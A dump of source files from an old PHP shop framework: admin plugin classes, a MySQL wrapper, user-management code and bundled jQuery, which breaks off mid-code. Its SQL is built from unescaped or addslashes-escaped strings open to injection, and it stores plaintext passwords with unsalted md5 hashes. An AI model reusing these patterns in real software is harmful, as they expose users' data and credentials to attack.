"3rdparty/calendar/"; var CalendarLibs = new Array( "calendar.js", "calendar-en.js", "calendar-setup.js" ) for (var library in CalendarLibs) document.write('<script src="' + CalPath + CalendarLibs[library] + '"></script>'); //load the css document.write('<link href="' + CalPath + 'calendar.css" rel="stylesheet" type="text/css" />'); ``` admin.background.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallBackground extends CPlugin{ var $tplvars; function COXYMallBackground() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.background.")) { $sub = str_replace("oxymall.plugin.background." , "" ,$_GET["sub"]); $action = $_GET["action"]; switch ($sub) { case "landing": $data = new CSQLAdmin("background/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); return $data->DoEvents(); break; case "modules": $data = new CSQLAdmin("background/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); return $data->DoEvents(); break; } } } } ?>``` custom.js ```$(document).ready(function() { //tables with drag sort var sort = $("#OXBFormSort tbody"); sort.sortable({ handle : '', update : function () { var order = sort.sortable( 'serialize', $('#forms.reorder.link').val() ); $.ajax({ url:$('#forms-reorder-link').val(), type:'post', data:order, success: function(msg){ } }); }, create : function() { sort.find("td").each(function() { var self = $(this); if (self.attr('width') == '') { self.attr('width', self.width() + 'px'); self.css("cursor" , "move"); //self.css('width', self.width() + 'px'); } }); } }); sort.sortable({ axis: 'y' }); $("#OXBFormSort").disableSelection(); //load more records var oxbLoadMore = $('#OXB-load-more'); oxbLoadMore.find("a").click(function(){ //$(this) //alert($(this).html()); var oxbLoadMorePage = oxbLoadMore.find("input[name='ajax.load.more.page']") //increase the page number var page = parseInt(oxbLoadMorePage.val()) + 1; oxbLoadMorePage.val(page); $.ajax({ url: oxbLoadMore.find("input[name='ajax.load.more.url']").val() + '&page=' + page, type:'post', data:"", success: function(msg){ if (msg != "empty"){ sort.append(msg); //update the sizes for the new tables sort.find("td").each(function() { var self = $(this); if (self.attr('width') == '') { self.attr('width', self.width() + 'px'); self.css("cursor" , "move"); //self.css('width', self.width() + 'px'); } }); } else { //i have no more pages hide the load more $('.OXB-form-load-more').css("display", "none"); $('.FormPaging').css("display" , "none"); } } }); }); });``` database.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: config.php,v 0.0.1 09/03/2003 20:38:15 Exp $ database manipulation contact: www.oxylus.ro office@oxylus.ro * database manipulation * * @library Config * @author oxylus [OXYLUS.ro <devel@oxylus.ro>] * @since PHPBase 0.0.1 */ // return types define("DB_RT_ARRAY",0); // return row as an assoc aray where fieldnames are keys define("DB_RT_OBJECT",1); // return row as an object where fieldnames are properties define("DB_RT_SGLINE",2); class CDatabase{ /** * database type * * @var string * * @access private */ var $type; /** * database connection id * * @var resource * * @access private */ var $conn_id; /** * name of the current selected database * * @var string * * @access private */ var $current_db; /** * number of queries per session * * @var int * * @access private */ var $num_queries; /** * specifies if there were any modifications to the database [write queries] * * @var bool * * @access private */ var $modif = FALSE; /** * description * * @var type * * @access type */ var $cache; /** * initializes module and connects to the database * * @param array $connect_params connection parameters * * @return void * * @acces public * * @see Connect */ function CDatabase($connect_params = "") { $this->name = "database"; $this->type = $type; if ($connect_params != "") $this->Connect($connect_params); } /** * connects to the database * * @param array $connect_params connection parameters * * @return void * * @access public */ function Connect($connect_params = "") { extract($connect_params); //resource mysql_connect ( [string server [, string username [, string password [, bool new_link !!! [, int client_flags ]]]]] ) $this->conn_id = mysql_connect($server,$login,$password,TRUE) or die("CDatabase::Connect() error " . mysql_error($this->conn_id)); if ($default != "") $this->SelectDB($default); } /** * closes the database connection * * @return void * * @access public */ function Close() { mysql_close($this->conn_id); } /** * selects and sets the current database * * @param string $database * * @return void * * @access public */ function SelectDB($database) { mysql_select_db($database,$this->conn_id) or die("CDatabase::SelectDB() error"); $this->current_db = $database; } /** * queries the database * * @param string $query actual sql query * * @return resource or NULL * * @access public */ function Query($query,$db = "" , $die = true) {//debug($query); $this->num_queries++; $this->queries[] = $query; //$this->SelectDB($this->current_db);/ // if ($_SERVER["REMOTE_ADDR"] == "172.20.100.3") { // echo "SQL: $query <br>"; /// } if ($db) $result = mysql_db_query($db ,$query,$this->conn_id);// or die(mysql_error()); else $result = mysql_query($query,$this->conn_id) or die("\nDB ERROR:" . $query . mysql_error()); if (in_array(substr($query,0,strpos($query," ")),array("INSERT", "UPDATE", "DELETE"))) $this->modif = TRUE; return $result; } function FetchObject($result) { return mysql_fetch_object($result); } function FetchRow($result) { $data = mysql_fetch_row($result); if (is_array($data)) { foreach ($data as $key => $val) $data[$key] = stripslashes($val); } return $data; } function FetchArray($result,$result_type = MYSQL_ASSOC) { $data = mysql_fetch_array($result,$result_type); if (is_array($data)) { foreach ($data as $key => $val) $data[$key] = stripslashes($val); // foreach ($data as $key => $val) //$data[$key] = utf8_decode(stripslashes($val)); //$value = $this->utf8->strToUtf8(stripslashes($value) != addslashes($value) ? addslashes($value) : $value); } return $data; } function NumRows($result) { return mysql_num_rows($result); } function AffectedRows() { return mysql_affected_rows($this->conn_id); } function InsertID() { return mysql_insert_id($this->conn_id); } function NumQueries() { return $this->num_queries; } function QFetchObject($query) { return $this->FetchObject($this->Query($query)); } function QFetchRow($query) { $data = $this->FetchRow($this->Query($query)); if (is_array($data)) { foreach ($data as $key => $val) $data[$key] = stripslashes($val); } return $data; } function QFetchArray($query) { $data = $this->FetchArray($this->Query($query)); return $data; } /** * returns the number of rows from a table based on a certain [optional] * where clause * * @param string $table table in which to count rows * @param string $where_clause optional where clause [see sql WHERE clause] * * @return int row count * * @access public */ function RowCount($table,$where_clause = "",$what="") { $what = $what != "" ? $what : "*" ; $result = $this->FetchRow($this->Query("SELECT COUNT({$what}) FROM $table $where_clause;")); return $result[0]; } /** * fetch an array w/ rows from the database * * @param resource $result sql query result * @param int $return_type row return type [can be DB_RT_ARRAY or DB_RT_OBJECT] * @param string $key key the returned array by a certain row field [defaults to ""] * * @return array with rows or NULL if none fetched * * @access public */ function FetchRowArray($result,$return_type = DB_RT_ARRAY,$key = "") { $ret_val = array(); $i = 0; // dont panic. its just ternary operators in action :] while ($row = (($return_type == DB_RT_ARRAY) ? $this->FetchArray($result) : $this->FetchObject($result))) $ret_val[(($key == "") ? $i++ : (($return_type == DB_RT_ARRAY) ? $row["$key"] : $row->$key))] = $row; // see if any rows were fetched and return accordingly return (count($ret_val) != 0) ? $ret_val : NULL; } /** * FetchRowArray wrapper * * @param string $query sql query to send to FetchRowArray * @param int $return_type * @param string $key * * @return array * * @access public * * @see CDatabase::FetchRowArray */ function QFetchRowArray($query,$return_type = DB_RT_ARRAY,$key = "") { if ($return_type == DB_RT_SGLINE) { $return_type = 0; $change = 1; } $data = $this->FetchRowArray($this->Query($query),$return_type,$key); if (($change == 1) && is_array($data)) { //okay, lets play foreach ($data as $k => $val) { $data[$k] = $val[key($val)]; } } return $data; } /** * returns an array w/ the tables fields * * @param $table database table from which to get rows * * @return array * * @access public */ function GetTableFields($table , $simple = TRUE ) { //check if the cache exists if (is_array($this->cache["fields"][$table])) { if ($simple) return $this->cache["fields"][$table]["fields"]; else return $this->cache["fields"][$table]; } $fields = $this->QFetchRowArray("SHOW FIELDS FROM $table"); $ret_val = array(); $ret_type = array(); foreach ($fields as $field) { //remove the field sizes if (stristr($field["Type"] , "(")) { $field["Type"] = substr($field["Type"] , 0,strpos($field["Type"] ,"(")); } $ret_val[$field["Field"]] = $field["Field"]; $ret_type[$field["Field"]] = $field["Type"]; if ($field["Extra"] == "auto_increment") { $extra["auto"] = $field["Field"]; } } //save the cache $this->cache["fields"][$table] = array( "fields" => $ret_val, "type" => $ret_type ); if ($simple == TRUE ) return $ret_val; else return array( "fields" => $ret_val, "type" => $ret_type, "extra" => $extra ); } function GetTableField($table , $_field) { $fields = $this->QFetchRowArray("SHOW FIELDS FROM `$table`"); $ret_val = array(); foreach ($fields as $field) if ($field["Field"] == $_field) { return $field; } } /** * fetches a row from a table based on a certain id using the SELECT SQL query * * @param string $table table in which to perform select * @param int $id row id to fetch * @param string $fields comma separated list of row fields to fetch [defaults to `*' all] * @param int $return_type row return type DB_RT_ARRAY|DB_RT_OBJECT [defaults to DB_RT_ARRAY] * * @return array w/ the fetched data or NULL if id not found * * @access public */ function QuerySelectByID($table,$id,$fields = "*",$return_type = DB_RT_ARRAY) { // build query $query = "SELECT $fields FROM `$table` WHERE `id` = '$id'"; // fetch row return ($return_type == DB_RT_ARRAY) ? $this->QFetchArray($query) : $this->QFetchObject($query); } /** * complex fetch row array w/ WHERE/LIMIT/ORDER SQL clauses and page modifier * * @param string $table table to fetch rows from * @param string $fields comma separated list of row fields to fetch * @param string $where_clause SQL WHERE clause [use empty to ignore] * @param int $start limit start * @param int $count number of rows to fetch * @param bool $pm page modifier. if set to TRUE [default] $start becomes the page * @param string $order_by field[s] to order the result by [defaults to void] * @param string $order_dir order direction. can be ASC or DESC [defaults to ASC] * @param int $return_type row return type [DB_RT_ARRAY(default)|DB_RT_OBJECT] * * @return array w/ fetched rows or NULL * * @access public */ function QuerySelectLimit($table,$fields,$where_clause,$start,$count,$pm = TRUE,$order_by = "",$order_dir = "ASC",$return_type = DB_RT_ARRAY) { // check if $count is empty just to be safe $count = ($count == "") ? 0 : $count; // recompute $start if page modifier set $_start = ($pm == TRUE) ? ((($start == 0) ? 1 : $start) * $count - $count) : $start; // setup order clause $order_clause = ($order_by != "") ? "ORDER BY $order_by " . (in_array($order_dir,array("ASC","DESC")) ? "$order_dir " : "") : ""; // setup where clause $where_clause = ($where_clause != "") ? "WHERE $where_clause " : ""; // limit clause $limit_clause = ($start >= 0) ? "LIMIT $_start,$count" : ""; // build query $query = "SELECT $fields FROM `$table` {$where_clause}{$order_clause}{$limit_clause}"; // fetch rows return $this->QFetchRowArray($query,$return_type); } /** * builds and performes a SQL INSERT query based on the user data * * @param string $table table in which to perform insert * @param array $fields associative array w/ the row fields to be inserted * * @return void * * @access public */ function QueryInsert($table,$fields,$string = false) { // first get the tables fields $table_fields = $this->GetTableFields($table , false); $sql_fields = $this->__prepareFields($table_fields, $fields , TRUE , $all); if (is_array($sql_fields["names"])) { $sql = "INSERT INTO $table ". "(" . implode("," , $sql_fields["names"]) . ") " . "VALUES( " . implode("," , $sql_fields["values"]) . ");\n"; if ($string) return $string; else { $this->Query($sql); return $this->InsertID(); } } } /** * builds and performs a SQL UPDATE query based on the user data * * @param string $table table in which to perform update * @param array $fields associative array w/ the fields to be updated * @param string $where_clause update where clause [see SQL WHERE clause] * @param boolean $fillall update even the fields which arent in the $fields array * * @return void * * @access public */ function QueryUpdate($table,$fields,$where_clause = null, $all = false) { // first get the tables fields $table_fields = $this->GetTableFields($table , false); $sql_fields = $this->__prepareFields($table_fields, $fields , false, $all); if (is_array($sql_fields["names"])) { //if the where clause doesnt exist the update based on the autoincrement fields if ($where_clause == null) { $where_clause = "`" . $table["extra"]["auto"] . "`=" . (int) $fields[$table["extra"]["auto"]] . ""; } $sql = "UPDATE $table SET ". "" . implode("," , $sql_fields["pairs"]) . " " . "WHERE ($where_clause)"; if ($string) return $string; else { $this->Query($sql); } } } /** * builds and performs a SQL UPDATE query based on the user data * * @param string $table table in which to perform update * @param array $fields associative array w/ the fields to be updated * * @return void * * @access public */ function QueryUpdateByID($table,$fields , $all = false) { $this->QueryUpdate($table,$fields, null, $all); } function QueryDelete($table , $fields , $force = false) { $table_fields = $this->GetTableFields($table , false); $sql = ""; //check if its a list of fields with conditions if (is_array($fields)) { $sql_fields = $this->__prepareFields($table_fields, $fields , false, $all); $sql = "DELETE FROM {$table} " . "WHERE " . implode(" AND " , $sql_fields["pairs"]); } else { //check if its numeric if ((int)$fields) { //i supose tha its the extra field, $sql = "DELETE FROM {$table} " . "WHERE `" . $table_fields["extra"]["auto"] . "`=" . (int)$fields . ";"; } else { if ($fields) { // i'll suppose this is the condition, warning if no fields then the entire table will get deleted $sql = "DELETE FROM {$table} " . "WHERE $fields"; } else{ //if forced if ($force === true) { $sql = "DELETE FROM {$table} "; } } } } //check if the sql exists and then execute if ($sql) { $this->Query($sql); } } function GetTables() { //check if the table list was cached $tables = is_array($this->cache["tables"]) ? $this->cache["tables"] : $this->QFetchRowArray("SHOW TABLES FROM {$this->current_db}"); if (is_array($tables)) { foreach ($tables as $key => $val) { $_tables[] = $val[key($val)]; } } return $_tables; } /** * description * * @param * * @return * * @access */ function TableExists($table) { return in_array($table , $this->GetTables()); } /* INTERNAL FUNCTIONS */ function __prepareFields($table , $fields , $extra = TRUE , $all = false) { if (is_array($table["fields"])) { foreach ($table["fields"] as $key => $val) { //reset the current fields values $field = null; //check if the key exits if (isset($fields[$key])) { switch ($table["type"][$key]) { case "int": $field = (int)$fields[$key]; break; case "float": $field = (float)$fields[$key]; break; default: $field = $fields[$key]; //check for add / strip slashes if (stripslashes($field) != addslashes($field)) { $field = addslashes($field); } $field = "'" . $field . "'"; break; } //add to the table $pairs[$key] = "`$key` = " . $field . ""; $names[$key] = $key; $values[$key] = $field; } else { #!!! WARNING here i need to check whats the default value for this field //check if all the fields needs to be filled in if ($all === true) { switch ($table["type"][$key]) { case "int": $field = (int)$fields[$key]; break; case "float": $field = (float)$fields[$key]; break; default: $field = "'" . $field . "'"; break; } $pairs[$key] = "`$key` = " . $field . ""; $names[$key] = $key; $values[$key] = $field; } } } //check if i should remove the extra from the pairs if (!$extra ) { unset($pairs[$table["extra"]["auto"]]); unset($names[$table["extra"]["auto"]]); } return array( "names" => $names, "values" => $values, "pairs" => $pairs ); } return $pairs; } } /* History v0.1 Added QueryDelete Rewrite QueryInsert,QueryUpdate and QueryUpdateByID v0.0.1 Core functionality */ ?>``` admin.users.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallUsers extends CPlugin{ var $tplvars; function COXYMallUsers() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.users.")) { $sub = str_replace("oxymall.plugin.users." , "" ,$_GET["sub"]); $action = $_GET["action"]; //read the module $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("users"); switch ($sub) { case "landing": $data = new CSQLAdmin("users/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); $this->PrepareFields(&$data->forms["forms"], $sub); $data->functions = array( "onstore_prepare" => array(&$this , "StoreUser"), "onstore" => array(&$this , "StoreUser"), ); return $data->DoEvents(); break; case "groups": $data = new CSQLAdmin("users/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); return $data->DoEvents(); break; case "settings": $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("users"); urlredirect("index.php?mod=oxymall&sub=oxymall.plugin.modules.default&action=details&module_id={$this->tpl_module['module_id']}"); break; case "scan": return "under construction"; break; } } } /** * description * * @param * * @return * * @access */ function PrepareFields($forms , $sub) { if (is_array($forms["search"])) { $forms["search"]["title"] = CTemplateStatic::Replace( $forms["search"]["title"], array( "title" => $this->tpl_module["mod_name"]) ); } $forms["list"]["title"] = CTemplateStatic::Replace( $forms["list"]["title"], array( "title" => $this->tpl_module["mod_name"]) ); $forms["edit"]["title"] = CTemplateStatic::Replace( $forms["edit"]["title"], array( "title" => $this->tpl_module["mod_name"]) ); $forms["add"]["title"] = CTemplateStatic::Replace( $forms["add"]["title"], array( "title" => $this->tpl_module["mod_name"]) ); } function StoreUser($record) { //check if is a new user if (!$record["user_id"]) { $_POST["user_date"] = time(); $_POST["user_email_original"] = $_POST["user_email"]; $_POST["user_key_code"] = md5($_POST["user_email"] . time()); $_POST["user_key_date"] = time(); $_POST["user_password_plain"] = $_POST["user_pass"]; $_POST["user_password"] = md5($_POST["user_pass"]); //update the record $record = $_POST; switch ($_POST["user_status"]) { case "1": $email = "set_mail_confirm"; break; case "2": $email = "set_mail_welcome"; break; case "3": $email = "set_mail_pending"; break; case "4": $email = "set_mail_suspended"; break; } $id = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"][$email], $record ) ); } //update password if ($record["user_id"] && $record["user_pass"]) { $this->db->QueryUpdate( $this->tables["plugin:users"], array( "user_password" => md5($record["user_pass"]), ), "user_id='{$record[user_id]}'" ); } //notification emails if the status was changed if ($record["user_id"] && $_POST["send_mail"]) { switch ($_POST["user_status"]) { case "1": $email = "set_mail_confirm"; break; case "2": $email = "set_mail_welcome"; break; case "3": $email = "set_mail_pending"; break; case "4": $email = "set_mail_suspended"; break; } $id = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"][$email], $record ) ); //hell knows why this happends $_POST["send_mail"] = 0; } } } ?> ``` common.new.php ```<?php require_once _LIBPATH . "include/sys.php"; require_once _LIBPATH . "include/creditcard.php"; require_once _LIBPATH . "include/file.php"; require_once _LIBPATH . "include/mime.php"; require_once _LIBPATH . "include/php_fix.php"; require_once _LIBPATH . "include/dir.php"; require_once _LIBPATH . "include/highlight.php"; ?>``` 1.js ```/*! jQuery v1.7.1 jquery.com | jquery.org/license */ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"<!doctype html>":"")+"<html><body>"),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function cb(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function ca(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bE.test(a)?d(a,e):ca(a+"["+(typeof e=="object"||f.isArray(e)?b:"")+"]",e,c,d)});else if(!c&&b!=null&&typeof b=="object")for(var e in b)ca(a+"["+e+"]",b[e],c,d);else d(a,b)}function b_(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function b$(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bT,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=b$(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=b$(a,c,d,e,"*",g));return l}function bZ(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bP),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bC(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?bx:by,g=0,h=e.length;if(d>0){if(c!=="border")for(;g<h;g++)c||(d-=parseFloat(f.css(a,"padding"+e[g]))||0),c==="margin"?d+=parseFloat(f.css(a,c+e[g]))||0:d-=parseFloat(f.css(a,"border"+e[g]+"Width"))||0;return d+"px"}d=bz(a,b,b);if(d<0||d==null)d=a.style[b]||0;d=parseFloat(d)||0;if(c)for(;g<h;g++)d+=parseFloat(f.css(a,"padding"+e[g]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+e[g]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+e[g]))||0);return d+"px"}function bp(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;if(b.nodeType===1){b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c==="object")b.outerHTML=a.outerHTML;else if(c!=="input"||a.type!=="checkbox"&&a.type!=="radio"){if(c==="option")b.selected=a.defaultSelected;else if(c==="input"||c==="textarea")b.defaultValue=a.defaultValue}else a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value);b.removeAttribute(f.expando)}}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c+(i[c][d].namespace?".":"")+i[c][d].namespace,i[c][d],i[c][d].data)}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return 